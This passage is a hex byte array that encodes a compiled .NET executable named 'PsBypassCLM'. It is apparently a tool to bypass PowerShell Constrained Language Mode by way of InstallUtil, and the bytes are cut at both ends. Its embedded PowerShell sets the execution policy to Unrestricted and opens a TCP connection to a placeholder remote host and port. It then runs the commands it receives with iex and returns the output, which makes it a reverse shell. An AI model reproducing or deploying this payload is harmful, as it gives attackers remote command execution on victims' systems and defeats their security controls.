x00,0x8E,0x03,0xB3,0x04,0x06,0x00,0x0E,0x00,0x3A,0x00,0x0A,0x00,0x8B,0x04,0x3C,0x03,0x06,0x00,0x84,0x03,0x2B,0x03,0x0E,0x00,0xDE,0x01,0xD1,0x02,0x12,0x00,0x9C,0x03,0xF3,0x02,0x06,0x00,0xDA,0x04,0x60,0x04,0x06,0x00,0xAB,0x02,0x2B,0x03,0x0A,0x00,0xF7,0x04,0xE6,0x03,0x0A,0x00,0x9B,0x00,0x3C,0x03,0x06,0x00,0x01,0x00,0xB2,0x02,0x06,0x00,0xB6,0x00,0x2B,0x03,0x0A,0x00,0x6B,0x03,0xE6,0x03,0x06,0x00,0xA6,0x03,0x60,0x04,0x06,0x00,0xAA,0x00,0x2B,0x03,0x12,0x00,0xCB,0x04,0xF3,0x02,0x0E,0x00,0xE6,0x04,0x59,0x00,0x12,0x00,0x7D,0x03,0xF3,0x02,0x00,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0x1A,0x03,0x82,0x04,0x41,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0xE7,0x02,0x82,0x04,0x61,0x00,0x01,0x00,0x03,0x00,0x50,0x20,0x00,0x00,0x00,0x00,0x96,0x00,0x37,0x03,0xD5,0x00,0x01,0x00,0xF4,0x21,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x02,0x00,0xFC,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x10,0x03,0xDB,0x00,0x02,0x00,0x8C,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x08,0x03,0xDB,0x00,0x03,0x00,0x8E,0x22,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x5B,0x04,0x00,0x00,0x01,0x00,0xF3,0x00,0x00,0x00,0x01,0x00,0xF3,0x00,0x09,0x00,0xC0,0x03,0x01,0x00,0x11,0x00,0xC0,0x03,0x06,0x00,0x19,0x00,0xC0,0x03,0x0A,0x00,0x29,0x00,0xC0,0x03,0x10,0x00,0x31,0x00,0xC0,0x03,0x10,0x00,0x39,0x00,0xC0,0x03,0x10,0x00,0x41,0x00,0xC0,0x03,0x10,0x00,0x49,0x00,0xC0,0x03,0x10,0x00,0x51,0x00,0xC0,0x03,0x10,0x00,0x59,0x00,0xC0,0x03,0x10,0x00,0x61,0x00,0xC0,0x03,0x15,0x00,0x69,0x00,0xC0,0x03,0x10,0x00,0x71,0x00,0xC0,0x03,0x10,0x00,0x79,0x00,0xC0,0x03,0x10,0x00,0xB9,0x00,0xC0,0x03,0x15,0x00,0xD1,0x00,0x15,0x05,0x32,0x00,0xD9,0x00,0x80,0x00,0x37,0x00,0x89,0x00,0x32,0x03,0x06,0x00,0xE1,0x00,0xC0,0x03,0x3C,0x00,0xE1,0x00,0xA3,0x00,0x42,0x00,0xF1,0x00,0xD2,0x00,0x4C,0x00,0xD1,0x00,0x78,0x00,0x51,0x00,0xF1,0x00,0xFE,0x00,0x4C,0x00,0xF1,0x00,0xBE,0x00,0x57,0x00,0x89,0x00,0xDC,0x00,0x5B,0x00,0x91,0x00,0xD9,0x03,0x60,0x00,0xF9,0x00,0xA0,0x04,0x10,0x00,0xF9,0x00,0x55,0x00,0x10,0x00,0x91,0x00,0xA3,0x00,0x65,0x00,0x99,0x00,0xC0,0x03,0x06,0x00,0x0C,0x00,0xB2,0x03,0x75,0x00,0x14,0x00,0x94,0x04,0x85,0x00,0x81,0x00,0xA9,0x02,0x8A,0x00,0x99,0x00,0xC7,0x00,0x8E,0x00,0x01,0x01,0xAA,0x04,0x94,0x00,0x09,0x01,0xEB,0x00,0x06,0x00,0xB1,0x00,0x8F,0x00,0x8A,0x00,0xF1,0x00,0xD2,0x00,0x98,0x00,0xD1,0x00,0x07,0x05,0x9E,0x00,0x81,0x00,0xC0,0x03,0x06,0x00,0xC1,0x00,0xBF,0x04,0xA9,0x00,0x11,0x01,0x73,0x04,0xAF,0x00,0x19,0x01,0x22,0x03,0xB5,0x00,0x21,0x01,0xC0,0x03,0x10,0x00,0xC1,0x00,0xC0,0x03,0x06,0x00,0x2E,0x00,0x0B,0x00,0xE1,0x00,0x2E,0x00,0x13,0x00,0xEA,0x00,0x2E,0x00,0x1B,0x00,0x09,0x01,0x2E,0x00,0x23,0x00,0x12,0x01,0x2E,0x00,0x2B,0x00,0x1D,0x01,0x2E,0x00,0x33,0x00,0x1D,0x01,0x2E,0x00,0x3B,0x00,0x1D,0x01,0x2E,0x00,0x43,0x00,0x12,0x01,0x2E,0x00,0x4B,0x00,0x23,0x01,0x2E,0x00,0x53,0x00,0x1D,0x01,0x2E,0x00,0x5B,0x00,0x1D,0x01,0x2E,0x00,0x63,0x00,0x3B,0x01,0x2E,0x00,0x6B,0x00,0x65,0x01,0x2E,0x00,0x73,0x00,0x72,0x01,0x63,0x00,0x7B,0x00,0xBC,0x01,0x1A,0x00,0xA4,0x00,0x6E,0x00,0x7E,0x00,0x04,0x80,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x31,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC3,0x00,0x3C,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x2B,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0xF3,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x60,0x31,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x60,0x31,0x00,0x3C,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x3E,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x00,0x6D,0x73,0x63,0x6F,0x72,0x6C,0x69,0x62,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x47,0x65,0x6E,0x65,0x72,0x69,0x63,0x00,0x41,0x64,0x64,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x53,0x70,0x65,0x63,0x69,0x61,0x6C,0x69,0x7A,0x65,0x64,0x00,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x00,0x49,0x44,0x69,0x73,0x70,0x6F,0x73,0x61,0x62,0x6C,0x65,0x00,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x52,0x65,0x61,0x64,0x4C,0x69,0x6E,0x65,0x00,0x41,0x70,0x70,0x65,0x6E,0x64,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x4C,0x69,0x6E,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x00,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x00,0x73,0x61,0x76,0x65,0x64,0x53,0x74,0x61,0x74,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x00,0x47,0x75,0x69,0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x56,0x69,0x73,0x69,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x69,0x74,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x72,0x61,0x64,0x65,0x6D,0x61,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x54,0x61,0x72,0x67,0x65,0x74,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x46,0x69,0x6C,0x65,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x52,0x65,0x6C,0x61,0x78,0x61,0x74,0x69,0x6F,0x6E,0x73,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x50,0x72,0x6F,0x64,0x75,0x63,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6D,0x70,0x61,0x6E,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x43,0x6F,0x6D,0x70,0x61,0x74,0x69,0x62,0x69,0x6C,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x65,0x78,0x65,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x69,0x6E,0x67,0x00,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x4F,0x62,0x6A,0x65,0x63,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6D,0x70,0x6F,0x6E,0x65,0x6E,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x55,0x74,0x69,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x55,0x6E,0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x50,0x72,0x6F,0x67,0x72,0x61,0x6D,0x00,0x67,0x65,0x74,0x5F,0x49,0x74,0x65,0x6D,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x00,0x4F,0x70,0x65,0x6E,0x00,0x4D,0x61,0x69,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x42,0x75,0x69,0x6C,0x64,0x65,0x72,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x47,0x65,0x74,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x2E,0x63,0x74,0x6F,0x72,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x44,0x69,0x61,0x67,0x6E,0x6F,0x73,0x74,0x69,0x63,0x73,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x49,0x6E,0x74,0x65,0x72,0x6F,0x70,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x65,0x72,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x73,0x00,0x61,0x72,0x67,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x00,0x67,0x65,0x74,0x5F,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x00,0x50,0x53,0x4F,0x62,0x6A,0x65,0x63,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x00,0x41,0x64,0x64,0x53,0x63,0x72,0x69,0x70,0x74,0x00,0x4D,0x6F,0x76,0x65,0x4E,0x65,0x78,0x74,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x46,0x61,0x63,0x74,0x6F,0x72,0x79,0x00,0x6F,0x70,0x5F,0x49,0x6E,0x65,0x71,0x75,0x61,0x6C,0x69,0x74,0x79,0x00,0x49,0x73,0x4E,0x75,0x6C,0x6C,0x4F,0x72,0x45,0x6D,0x70,0x74,0x79,0x00,0x00,0x00,0x01,0x00,0x80,0x81,0x53,0x00,0x65,0x00,0x74,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x55,0x00,0x6E,0x00,0x72,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x20,0x00,0x2D,0x00,0x53,0x00,0x63,0x00,0x6F,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x01,0x8B,0x43,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x4E,0x00,0x65,0x00,0x74,0x00,0x2E,0x00,0x53,0x00,0x6F,0x00,0x63,0x00,0x6B,0x00,0x65,0x00,0x74,0x00,0x73,0x00,0x2E,0x00,0x54,0x00,0x43,0x00,0x50,0x00,0x43,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x28,0x00,0x27,0x00,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x27,0x00,0x2C,0x00,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x5B,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x5B,0x00,0x5D,0x00,0x5D,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x30,0x00,0x2E,0x00,0x2E,0x00,0x36,0x00,0x35,0x00,0x35,0x00,0x33,0x00,0x35,0x00,0x7C,0x00,0x25,0x00,0x7B,0x00,0x30,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x28,0x00,0x28,0x00,0x24,0x00,0x69,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x20,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x29,0x00,0x20,0x00,0x2D,0x00,0x6E,0x00,0x65,0x00,0x20,0x00,0x30,0x00,0x29,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x2D,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x54,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x45,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x69,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x69,0x00,0x65,0x00,0x78,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x32,0x00,0x3E,0x00,0x26,0x00,0x31,0x00,0x20,0x00,0x7C,0x00,0x20,0x00,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x27,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0